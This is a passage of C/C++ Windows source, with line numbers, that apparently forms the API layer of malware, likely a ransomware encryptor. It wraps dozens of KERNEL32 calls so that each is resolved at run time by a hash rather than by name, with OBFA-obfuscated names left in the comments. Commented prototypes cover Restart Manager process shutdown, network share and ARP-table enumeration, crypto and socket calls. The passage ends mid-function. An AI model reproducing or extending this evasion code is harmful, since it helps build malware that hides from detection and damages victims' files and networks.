| HCRYPTKEY hKey, 645 | HCRYPTHASH hHash, 646 | BOOL Final, 647 | DWORD dwFlags, 648 | BYTE* pbData, 649 | DWORD* pdwDataLen, 650 | DWORD dwBufLen 651 | ); 652 | 653 | BOOL WINAPI pCryptGenRandom( 654 | HCRYPTPROV hProv, 655 | DWORD dwLen, 656 | BYTE* pbBuffer 657 | ); 658 | 659 | BOOL WINAPI pCryptAcquireContextA( 660 | HCRYPTPROV* phProv, 661 | LPCSTR szContainer, 662 | LPCSTR szProvider, 663 | DWORD dwProvType, 664 | DWORD dwFlags 665 | ); 666 | 667 | 668 | #pragma endregion 669 | 670 | #pragma region NETAPI32 671 | 672 | DWORD WINAPI pNetApiBufferFree( 673 | _Frees_ptr_opt_ LPVOID Buffer 674 | ); 675 | 676 | DWORD WINAPI pNetShareEnum( 677 | WCHAR* servername, 678 | DWORD level, 679 | LPBYTE* bufptr, 680 | DWORD prefmaxlen, 681 | LPDWORD entriesread, 682 | LPDWORD totalentries, 683 | LPDWORD resume_handle 684 | ); 685 | 686 | #pragma endregion 687 | 688 | 689 | ULONG WINAPI pGetIpNetTable( 690 | PMIB_IPNETTABLE IpNetTable, 691 | PULONG SizePointer, 692 | BOOL Order 693 | ); 694 | 695 | 696 | LPWSTR* WINAPI pCommandLineToArgvW(_In_ LPCWSTR lpCmdLine, _Out_ int* pNumArgs); 697 | 698 | DWORD WINAPI pRmEndSession( 699 | DWORD dwSessionHandle 700 | ); 701 | 702 | DWORD WINAPI pRmStartSession( 703 | DWORD* pSessionHandle, 704 | DWORD dwSessionFlags, 705 | WCHAR* strSessionKey 706 | ); 707 | 708 | DWORD WINAPI pRmGetList( 709 | DWORD dwSessionHandle, 710 | UINT* pnProcInfoNeeded, 711 | UINT* pnProcInfo, 712 | RM_PROCESS_INFO* rgAffectedApps, 713 | LPDWORD lpdwRebootReasons 714 | ); 715 | 716 | DWORD WINAPI pRmRegisterResources( 717 | DWORD dwSessionHandle, 718 | UINT nFiles, 719 | LPCWSTR* rgsFileNames, 720 | UINT nApplications, 721 | RM_UNIQUE_PROCESS* rgApplications, 722 | UINT nServices, 723 | LPCWSTR* rgsServiceNames 724 | ); 725 | 726 | DWORD WINAPI pRmShutdown( 727 | DWORD dwSessionHandle, 728 | ULONG lActionFlags, 729 | RM_WRITE_STATUS_CALLBACK fnStatus 730 | ); 731 | 732 | 733 | void WINAPI pCoUninitialize(); 734 | 735 | HRESULT WINAPI pCoCreateInstance( 736 | REFCLSID rclsid, 737 | LPUNKNOWN pUnkOuter, 738 | DWORD dwClsContext, 739 | REFIID riid, 740 | LPVOID* ppv 741 | ); 742 | 743 | HRESULT WINAPI pCoSetProxyBlanket( 744 | IUnknown* pProxy, 745 | DWORD dwAuthnSvc, 746 | DWORD dwAuthzSvc, 747 | OLECHAR* pServerPrincName, 748 | DWORD dwAuthnLevel, 749 | DWORD dwImpLevel, 750 | RPC_AUTH_IDENTITY_HANDLE pAuthInfo, 751 | DWORD dwCapabilities 752 | ); 753 | 754 | HRESULT WINAPI pCoInitializeSecurity( 755 | PSECURITY_DESCRIPTOR pSecDesc, 756 | LONG cAuthSvc, 757 | SOLE_AUTHENTICATION_SERVICE* asAuthSvc, 758 | void* pReserved1, 759 | DWORD dwAuthnLevel, 760 | DWORD dwImpLevel, 761 | void* pAuthList, 762 | DWORD dwCapabilities, 763 | void* pReserved3 764 | ); 765 | 766 | HRESULT WINAPI pCoInitializeEx( 767 | LPVOID pvReserved, 768 | DWORD dwCoInit 769 | ); 770 | 771 | hostent* WINAPI pgethostbyname( 772 | const char* name 773 | ); 774 | 775 | int WINAPI pgethostname( 776 | char* name, 777 | int namelen 778 | ); 779 | 780 | SOCKET WINAPI psocket( 781 | int af, 782 | int type, 783 | int protocol 784 | ); 785 | 786 | int WINAPI pWSAIoctl( 787 | SOCKET s, 788 | DWORD dwIoControlCode, 789 | LPVOID lpvInBuffer, 790 | DWORD cbInBuffer, 791 | LPVOID lpvOutBuffer, 792 | DWORD cbOutBuffer, 793 | LPDWORD lpcbBytesReturned, 794 | LPWSAOVERLAPPED lpOverlapped, 795 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine 796 | ); 797 | 798 | int WINAPI pclosesocket( 799 | IN SOCKET s 800 | ); 801 | 802 | INT WINAPI pWSAAddressToStringW( 803 | LPSOCKADDR lpsaAddress, 804 | DWORD dwAddressLength, 805 | LPWSAPROTOCOL_INFOW lpProtocolInfo, 806 | LPWSTR lpszAddressString, 807 | LPDWORD lpdwAddressStringLength 808 | ); 809 | 810 | SOCKET WINAPI pWSASocketW( 811 | int af, 812 | int type, 813 | int protocol, 814 | LPWSAPROTOCOL_INFOW lpProtocolInfo, 815 | GROUP g, 816 | DWORD dwFlags 817 | ); 818 | 819 | int WINAPI pbind( 820 | SOCKET s, 821 | const sockaddr* addr, 822 | int namelen 823 | ); 824 | 825 | int WINAPI psetsockopt( 826 | SOCKET s, 827 | int level, 828 | int optname, 829 | const char* optval, 830 | int optlen 831 | ); 832 | 833 | int WINAPI pgetsockopt( 834 | SOCKET s, 835 | int level, 836 | int optname, 837 | char* optval, 838 | int* optlen 839 | ); 840 | 841 | int WINAPI pshutdown( 842 | SOCKET s, 843 | int how 844 | ); 845 | 846 | int WINAPI pWSAStartup( 847 | WORD wVersionRequired, 848 | LPWSADATA lpWSAData 849 | ); 850 | 851 | int WINAPI pWSACleanup(); 852 | 853 | PCWSTR WSAAPI pInetNtopW( 854 | INT Family, 855 | const VOID* pAddr, 856 | PWSTR pStringBuf, 857 | size_t StringBufSize 858 | ); 859 | 860 | PCSTR WINAPI pStrStrIA( 861 | PCSTR pszFirst, 862 | PCSTR pszSrch 863 | ); 864 | 865 | PCWSTR WINAPI pStrStrIW( 866 | PCWSTR pszFirst, 867 | PCWSTR pszSrch 868 | ); 869 | 870 | */ 871 | 872 | inline BOOL WINAPI pCancelIo( 873 | _In_ HANDLE hFile 874 | ) 875 | { 876 | BOOL(WINAPI * pFunction)(HANDLE); 877 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x19515ab5, 0);//GetProcAddress(hKernel32, OBFA("CancelIo")); 878 | return pFunction(hFile); 879 | } 880 | 881 | inline int WINAPI plstrlenW( 882 | LPCWSTR lpString 883 | ) 884 | { 885 | INT(WINAPI * pFunction)(LPCWSTR); 886 | pFunction = (INT(WINAPI*)(LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x2ffbe59f, 1);//GetProcAddress(hKernel32, OBFA("lstrlenW")); 887 | return pFunction(lpString); 888 | } 889 | 890 | inline DWORD WINAPI pGetLogicalDriveStringsW( 891 | DWORD nBufferLength, 892 | LPWSTR lpBuffer 893 | ) 894 | { 895 | DWORD(WINAPI * pFunction)(DWORD, LPWSTR); 896 | pFunction = (DWORD(WINAPI*)(DWORD, LPWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1b99344d, 2);//GetProcAddress(hKernel32, OBFA("GetLogicalDriveStringsW")); 897 | return pFunction(nBufferLength, lpBuffer); 898 | } 899 | 900 | inline int WINAPI plstrlenA( 901 | LPCSTR lpString 902 | ) 903 | { 904 | INT(WINAPI * pFunction)(LPCSTR); 905 | pFunction = (INT(WINAPI*)(LPCSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc65c5ee6, 3);//GetProcAddress(hKernel32, OBFA("lstrlenA")); 906 | return pFunction(lpString); 907 | } 908 | 909 | inline BOOL WINAPI pReadFile( 910 | HANDLE hFile, 911 | LPVOID lpBuffer, 912 | DWORD nNumberOfBytesToRead, 913 | LPDWORD lpNumberOfBytesRead, 914 | LPOVERLAPPED lpOverlapped 915 | ) 916 | { 917 | BOOL(WINAPI * pFunction)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 918 | pFunction = (BOOL(WINAPI*)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf91ac9a0, 4);//GetProcAddress(hKernel32, OBFA("ReadFile")); 919 | return pFunction(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); 920 | } 921 | 922 | inline BOOL WINAPI pGetFileSizeEx( 923 | HANDLE hFile, 924 | PLARGE_INTEGER lpFileSize 925 | ) 926 | { 927 | BOOL(WINAPI * pFunction)(HANDLE, PLARGE_INTEGER); 928 | pFunction = (BOOL(WINAPI*)(HANDLE, PLARGE_INTEGER))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1b1acbcc, 5);//GetProcAddress(hKernel32, OBFA("GetFileSizeEx")); 929 | return pFunction(hFile, lpFileSize); 930 | } 931 | 932 | inline HANDLE WINAPI pGetCurrentProcess() 933 | { 934 | HANDLE(WINAPI * pFunction)(); 935 | pFunction = (HANDLE(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x663b63f4, 6);//GetProcAddress(hKernel32, OBFA("GetCurrentProcess")); 936 | return pFunction(); 937 | } 938 | 939 | inline BOOL WINAPI pWriteFile( 940 | HANDLE hFile, 941 | LPCVOID lpBuffer, 942 | DWORD nNumberOfBytesToWrite, 943 | LPDWORD lpNumberOfBytesWritten, 944 | LPOVERLAPPED lpOverlapped 945 | ) 946 | { 947 | BOOL(WINAPI * pFunction)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 948 | pFunction = (BOOL(WINAPI*)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc45f4a8c, 7);//GetProcAddress(hKernel32, OBFA("WriteFile")); 949 | return pFunction(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); 950 | } 951 | 952 | inline BOOL WINAPI pWow64DisableWow64FsRedirection( 953 | PVOID* OldValue 954 | ) 955 | { 956 | BOOL(WINAPI * pFunction)(PVOID*); 957 | pFunction = (BOOL(WINAPI*)(PVOID*))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1972bf90, 8);//GetProcAddress(hKernel32, OBFA("Wow64DisableWow64FsRedirection")); 958 | return pFunction(OldValue); 959 | } 960 | 961 | inline DWORD WINAPI pGetProcessId( 962 | HANDLE Process 963 | ) 964 | { 965 | DWORD(WINAPI * pFunction)(HANDLE); 966 | pFunction = (DWORD(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x31d910df, 9);//GetProcAddress(hKernel32, OBFA("GetProcessId")); 967 | return pFunction(Process); 968 | } 969 | 970 | inline BOOL WINAPI pSetEndOfFile( 971 | HANDLE hFile 972 | ) 973 | { 974 | BOOL(WINAPI * pFunction)(HANDLE); 975 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xede8a61e, 10);//GetProcAddress(hKernel32, OBFA("SetEndOfFile")); 976 | return pFunction(hFile); 977 | } 978 | 979 | inline DWORD WINAPI pWaitForSingleObject( 980 | HANDLE hHandle, 981 | DWORD dwMilliseconds 982 | ) 983 | { 984 | DWORD(WINAPI * pFunction)(HANDLE, DWORD); 985 | pFunction = (DWORD(WINAPI*)(HANDLE, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x6a095e21, 11);//GetProcAddress(hKernel32, OBFA("WaitForSingleObject")); 986 | return pFunction(hHandle, dwMilliseconds); 987 | } 988 | 989 | inline HANDLE WINAPI pCreateFileW( 990 | LPCWSTR lpFileName, 991 | DWORD dwDesiredAccess, 992 | DWORD dwShareMode, 993 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 994 | DWORD dwCreationDisposition, 995 | DWORD dwFlagsAndAttributes, 996 | HANDLE hTemplateFile 997 | ) 998 | { 999 | HANDLE(WINAPI * pFunction)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 1000 | pFunction = (HANDLE(WINAPI*)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf06e87ca, 12);//GetProcAddress(hKernel32, OBFA("CreateFileW")); 1001 | return pFunction(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); 1002 | } 1003 | 1004 | inline DWORD WINAPI pGetFileAttributesW( 1005 | LPCWSTR lpFileName 1006 | ) 1007 | { 1008 | DWORD(WINAPI * pFunction)(LPCWSTR); 1009 | pFunction = (DWORD(WINAPI*)(LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x93afb23a, 13);//GetProcAddress(hKernel32, OBFA("GetFileAttributesW")); 1010 | return pFunction(lpFileName); 1011 | } 1012 | 1013 | inline BOOL WINAPI pSetFileAttributesW( 1014 | LPCWSTR lpFileName, 1015 | DWORD dwFileAttributes 1016 | ) 1017 | { 1018 | BOOL(WINAPI * pFunction)(LPCWSTR, DWORD); 1019 | pFunction = (BOOL(WINAPI*)(LPCWSTR, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xa62cc8e1, 14);//GetProcAddress(hKernel32, OBFA("SetFileAttributesW")); 1020 | return pFunction(lpFileName, dwFileAttributes); 1021 | } 1022 | 1023 | inline BOOL WINAPI pWow64RevertWow64FsRedirection( 1024 | PVOID OlValue 1025 | ) 1026 | { 1027 | BOOL(WINAPI * pFunction)(PVOID); 1028 | pFunction = (BOOL(WINAPI*)(PVOID))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x78ee4dfa, 15);//GetProcAddress(hKernel32, OBFA("Wow64RevertWow64FsRedirection")); 1029 | return pFunction(OlValue); 1030 | } 1031 | 1032 | inline DWORD WINAPI pGetLastError() 1033 | { 1034 | DWORD(WINAPI * pFunction)(); 1035 | pFunction = (DWORD(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1fbbb84f, 16);//GetProcAddress(hKernel32, OBFA("GetLastError")); 1036 | return pFunction(); 1037 | } 1038 | 1039 | inline LPWSTR WINAPI plstrcatW( 1040 | LPWSTR lpString1, 1041 | LPCWSTR lpString2 1042 | ) 1043 | { 1044 | LPWSTR(WINAPI * pFunction)(LPWSTR, LPCWSTR); 1045 | pFunction = (LPWSTR(WINAPI*)(LPWSTR, LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x07ba2639, 17);//GetProcAddress(hKernel32, OBFA("lstrcatW")); 1046 | return pFunction(lpString1, lpString2); 1047 | } 1048 | 1049 | inline BOOL WINAPI pCloseHandle( 1050 | HANDLE hObject 1051 | ) 1052 | { 1053 | BOOL(WINAPI * pFunction)(HANDLE); 1054 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xa5eb6e47, 18);//GetProcAddress(hKernel32, OBFA("CloseHandle")); 1055 | return pFunction(hObject); 1056 | } 1057 | 1058 | inline void WINAPI pGetNativeSystemInfo( 1059 | LPSYSTEM_INFO lpSystemInfo 1060 | ) 1061 | { 1062 | VOID(WINAPI * pFunction)(LPSYSTEM_INFO); 1063 | pFunction = (VOID(WINAPI*)(LPSYSTEM_INFO))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xdf1af05e, 19);//GetProcAddress(hKernel32, OBFA("GetNativeSystemInfo")); 1064 | return pFunction(lpSystemInfo); 1065 | } 1066 | 1067 | inline BOOL WINAPI pSetFilePointerEx( 1068 | HANDLE hFile, 1069 | LARGE_INTEGER liDistanceToMove, 1070 | PLARGE_INTEGER lpNewFilePointer, 1071 | DWORD dwMoveMethod 1072 | ) 1073 | { 1074 | BOOL(WINAPI * pFunction)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD); 1075 | pFunction = (BOOL(WINAPI*)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xd54e6bd3, 20);//GetProcAddress(hKernel32, OBFA("SetFilePointerEx")); 1076 | return pFunction(hFile, liDistanceToMove, lpNewFilePointer, dwMoveMethod); 1077 | } 1078 | 1079 | inline BOOL WINAPI pCreateProcessW( 1080 | LPCWSTR lpApplicationName, 1081 | LPWSTR lpCommandLine, 1082 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 1083 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 1084 | BOOL bInheritHandles, 1085 | DWORD dwCreationFlags, 1086 | LPVOID lpEnvironment, 1087 | LPCWSTR lpCurrentDirectory, 1088 | LPSTARTUPINFOW lpStartupInfo, 1089 | LPPROCESS_INFORMATION lpProcessInformation 1090 | ) 1091 | { 1092 | BOOL(WINAPI * pFunction)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); 1093 | pFunction = (BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x7324a0a2, 21);//GetProcAddress(hKernel32, OBFA("CreateProcessW")); 1094 | return pFunction(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); 1095 | } 1096 | 1097 | inline LPWSTR WINAPI plstrcpyW( 1098 | LPWSTR lpString1, 1099 | LPCWSTR lpString2 1100 | ) 1101 | { 1102 | LPWSTR(WINAPI * pFunction)(LPWSTR, LPCWSTR); 1103 | pFunction = (LPWSTR(WINAPI*)(LPWSTR, LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x4d9702d0, 22);//GetProcAddress(hKernel32, OBFA("lstrcpyW")); 1104 | return pFunction(lpString1, lpString2); 1105 | } 1106 | 1107 | inline BOOL WINAPI pMoveFileW( 1108 | LPCWSTR lpExistingFileName, 1109 | LPCWSTR lpNewFileName 1110 | ) 1111 | { 1112 | BOOL(WINAPI * pFunction)(LPCWSTR, LPCWSTR); 1113 | pFunction = (BOOL(WINAPI*)(LPCWSTR, LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc8fb7817, 23);//GetProcAddress(hKernel32, OBFA("MoveFileW")); 1114 | return pFunction(lpExistingFileName, lpNewFileName); 1115 | } 1116 | 1117 | inline LPWSTR WINAPI pGetCommandLineW() 1118 | { 1119 | LPWSTR(WINAPI * pFunction)(); 1120 | pFunction = (LPWSTR(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xd52132a3, 24);//GetProcAddress(hKernel32, OBFA("GetCommandLineW")); 1121 | return pFunction(); 1122 | } 1123 | 1124 | inline HANDLE WINAPI pCreateMutexA( 1125 | LPSECURITY_ATTRIBUTES lpMutexAttributes, 1126 | BOOL bInitialOwner, 1127 | LPCSTR lpName 1128 | ) 1129 | { 1130 | HANDLE(WINAPI * pFunction)(LPSECURITY_ATTRIBUTES, BOOL, LPCSTR); 1131 | pFunction = (HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, BOOL, LPCSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf701962c, 25);//GetProcAddress(hKernel32, OBFA("CreateMutexA")); 1132 | return pFunction(lpMutexAttributes, bInitialOwner, lpName); 1133 | } 1134 | 1135 | inline int WINAPI pMultiByteToWideChar( 1136 | UINT CodePage, 1137 | DWORD dwFlags, 1138 | LPCCH lpMultiByteStr, 1139 | int cbMultiByte, 1140 | LPWSTR lpWideCharStr, 1141 | int cchWideChar 1142 | ) 1143 | { 1144 | int(WINAPI * pFunction)(UINT, DWORD, LPCCH, int, LPWSTR, int); 1145 | pFunction = (int(WINAPI*)(UINT, DWORD, LPCCH, int, LPWSTR, int))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x0cd05546, 26);//GetProcAddress(hKernel32, OBFA("MultiByteToWideChar")); 1146 | return pFunction(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar); 1147 | } 1148 | 1149 | inline HANDLE WINAPI pCreateThread( 1150 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 1151 | SIZE_T dwStackSize, 1152 | LPTHREAD_START_ROUTINE lpStartAddress, 1153 | __drv_aliasesMem LPVOID lpParameter, 1154 | DWORD dwCreationFlags, 1155 | LPDWORD lpThreadId 1156 | ) 1157 | { 1158 | HANDLE(WINAPI * pFunction)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 1159 | pFunction = (HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x3a4532be, 27);//GetProcAddress(hKernel32, OBFA("CreateThread")); 1160 | return pFunction(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); 1161 | } 1162 | 1163 | inline int WINAPI plstrcmpiW( 1164 | LPCWSTR lpString1, 1165 | LPCWSTR lpString2 1166 | ) 1167 | { 1168 | int(WINAPI * pFunction)(LPCWSTR, LPCWSTR); 1169 | pFunction = (INT(WINAPI*)(LPCWSTR, LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xd72e57a9, 28);//GetProcAddress(hKernel32, OBFA("lstrcmpiW")); 1170 | return pFunction(lpString1, lpString2); 1171 | } 1172 | 1173 | inline BOOL WINAPI pHeapFree( 1174 | HANDLE hHeap, 1175 | DWORD dwFlags, 1176 | LPVOID lpMem 1177 | ) 1178 | { 1179 | BOOL(WINAPI * pFunction)(HANDLE, DWORD, LPVOID); 1180 | pFunction = (BOOL(WINAPI*)(HANDLE, DWORD, LPVOID))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x3ce51c64, 29);//GetProcAddress(hKernel32, OBFA("HeapFree")); 1181 | return pFunction(hHeap, dwFlags, lpMem); 1182 | } 1183 | 1184 | inline LPVOID WINAPI pHeapAlloc( 1185 | HANDLE hHeap, 1186 | DWORD dwFlags, 1187 | SIZE_T dwBytes 1188 | ) 1189 | { 1190 | LPVOID(WINAPI * pFunction)(HANDLE, DWORD, SIZE_T); 1191 | pFunction = (LPVOID(WINAPI*)(HANDLE, DWORD, SIZE_T))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x263040ab, 30);//GetProcAddress(hKernel32, OBFA("HeapAlloc")); 1192 | return pFunction(hHeap, dwFlags, dwBytes); 1193 | } 1194 | 1195 | inline HANDLE WINAPI pGetProcessHeap() 1196 | { 1197 | HANDLE(WINAPI * pFunction)(); 1198 | pFunction = (HANDLE(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc5e8a09c, 31);//GetProcAddress(hKernel32, OBFA("GetProcessHeap")); 1199 | return pFunction(); 1200 | } 1201 | 1202 | inline BOOL WINAPI pCreateTimerQueueTimer( 1203 | PHANDLE phNewTimer, 1204 | HANDLE TimerQueue, 1205 | WAITORTIMERCALLBACK Callback, 1206 | PVOID DueTime, 1207 | DWORD Period, 1208 | DWORD Flags, 1209 | ULONG Parameter 1210 | ) 1211 | { 1212 | BOOL(WINAPI * pFunction)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG); 1213 | pFunction = (BOOL(WINAPI*)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x87b69cc9, 32);//GetProcAddress(hKernel32, OBFA("CreateTimerQueueTimer")); 1214 | return pFunction(phNewTimer, TimerQueue, Callback, DueTime, Period, Flags, Parameter); 1215 | } 1216 | 1217 | inline void WINAPI pEnterCriticalSection( 1218 | LPCRITICAL_SECTION lpCriticalSection 1219 | ) 1220 | { 1221 | VOID(WINAPI * pFunction)(LPCRITICAL_SECTION); 1222 | pFunction = (VOID(WINAPI*)(LPCRITICAL_SECTION))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x21cca665, 33);//GetProcAddress(hKernel32, OBFA("EnterCriticalSection")); 1223 | return pFunction(lpCriticalSection); 1224 | } 1225 | 1226 | inline BOOL WINAPI pDeleteTimerQueue( 1227 | HANDLE TimerQueue 1228 | ) 1229 | { 1230 | BOOL(WINAPI * pFunction)(HANDLE); 1231 | pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xaf17f6da, 34);//GetProcAddress(hKernel32, OBFA("DeleteTimerQueue")); 1232 | return pFunction(TimerQueue); 1233 | } 1234 | 1235 | inline void WINAPI pLeaveCriticalSection( 1236 | LPCRITICAL_SECTION lpCriticalSection 1237 | ) 1238 | { 1239 | void(WINAPI * pFunction)(LPCRITICAL_SECTION); 1240 | pFunction = (void(WINAPI*)(LPCRITICAL_SECTION))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf99eabb9, 35);//GetProcAddress(hKernel32, OBFA("LeaveCriticalSection")); 1241 | return pFunction(lpCriticalSection); 1242 | } 1243 | 1244 | inline void WINAPI pInitializeCriticalSection( 1245 | LPCRITICAL_SECTION lpCriticalSection 1246 | ) 1247 | { 1248 | void(WINAPI * pFunction)(LPCRITICAL_SECTION); 1249 | pFunction = (void(WINAPI*)(LPCRITICAL_SECTION))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x5d48fbaf, 36);//GetProcAddress(hKernel32, OBFA("InitializeCriticalSection")); 1250 | return pFunction(lpCriticalSection); 1251 | } 1252 | 1253 | inline BOOL WINAPI pGetQueuedCompletionStatus( 1254 | HANDLE CompletionPort, 1255 | LPDWORD lpNumberOfBytesTransferred, 1256 | PULONG_PTR lpCompletionKey, 1257 | LPOVERLAPPED* lpOverlapped, 1258 | DWORD dwMilliseconds 1259 | ) 1260 | { 1261 | BOOL(WINAPI * pFunction)(HANDLE, LPDWORD, PULONG_PTR, LPOVERLAPPED*, DWORD); 1262 | pFunction = (BOOL(WINAPI*)(HANDLE, LPDWORD, PULONG_PTR, LPOVERLAPPED*, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xcd976938, 37);//GetProcAddress(hKernel32, OBFA("GetQueuedCompletionStatus")); 1263 | return pFunction(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds); 1264 | } 1265 | 1266 | inline void WINAPI pExitThread( 1267 | DWORD dwExitCode 1268 | ) 1269 | { 1270 | void(WINAPI * pFunction)(DWORD); 1271 | pFunction = (void(WINAPI*)(DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xb87c8bb7, 38);//GetProcAddress(hKernel32, OBFA("ExitThread")); 1272 | return pFunction(dwExitCode); 1273 | } 1274 | 1275 | 1276 | inline BOOL WINAPI pPostQueuedCompletionStatus( 1277 | _In_ HANDLE CompletionPort, 1278 | _In_ DWORD dwNumberOfBytesTransferred, 1279 | _In_ ULONG_PTR dwCompletionKey, 1280 | _In_opt_ LPOVERLAPPED lpOverlapped 1281 | ) 1282 | { 1283 | BOOL(WINAPI * pFunction)(HANDLE, DWORD, ULONG_PTR, LPOVERLAPPED); 1284 | pFunction = (BOOL(WINAPI*)(HANDLE, DWORD, ULONG_PTR, LPOVERLAPPED))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x441bdf1e, 39);//GetProcAddress(hKernel32, OBFA("PostQueuedCompletionStatus")); 1285 | return pFunction(CompletionPort, dwNumberOfBytesTransferred, dwCompletionKey, lpOverlapped); 1286 | } 1287 | 1288 | inline void WINAPI pSleep( 1289 | DWORD dwMilliseconds 1290 | ) 1291 | { 1292 | void(WINAPI * pFunction)(DWORD); 1293 | pFunction = (void(WINAPI*)(DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xe4b69f3b, 40);//GetProcAddress(hKernel32, OBFA("Sleep")); 1294 | return pFunction(dwMilliseconds); 1295 | } 1296 | 1297 | inline HGLOBAL WINAPI pGlobalAlloc( 1298 | UINT uFlags, 1299 | SIZE_T dwBytes 1300 | ) 1301 | { 1302 | HGLOBAL(WINAPI * pFunction)(UINT, SIZE_T); 1303 | pFunction = (HGLOBAL(WINAPI*)(UINT, SIZE_T))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x55710126, 41);//GetProcAddress(hKernel32, OBFA("GlobalAlloc")); 1304 | return pFunction(uFlags, dwBytes); 1305 | } 1306 | 1307 | inline HGLOBAL WINAPI pGlobalFree( 1308 | HGLOBAL hMem 1309 | ) 1310 | { 1311 | HGLOBAL(WINAPI * pFunction)(HGLOBAL); 1312 | pFunction = (HGLOBAL(WINAPI*)(HGLOBAL))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xa0ee5aad, 42);//GetProcAddress(hKernel32, OBFA("GlobalFree")); 1313 | return pFunction(hMem); 1314 | } 1315 | 1316 | inline void WINAPI pDeleteCriticalSection( 1317 | LPCRITICAL_SECTION lpCriticalSection 1318 | ) 1319 | { 1320 | 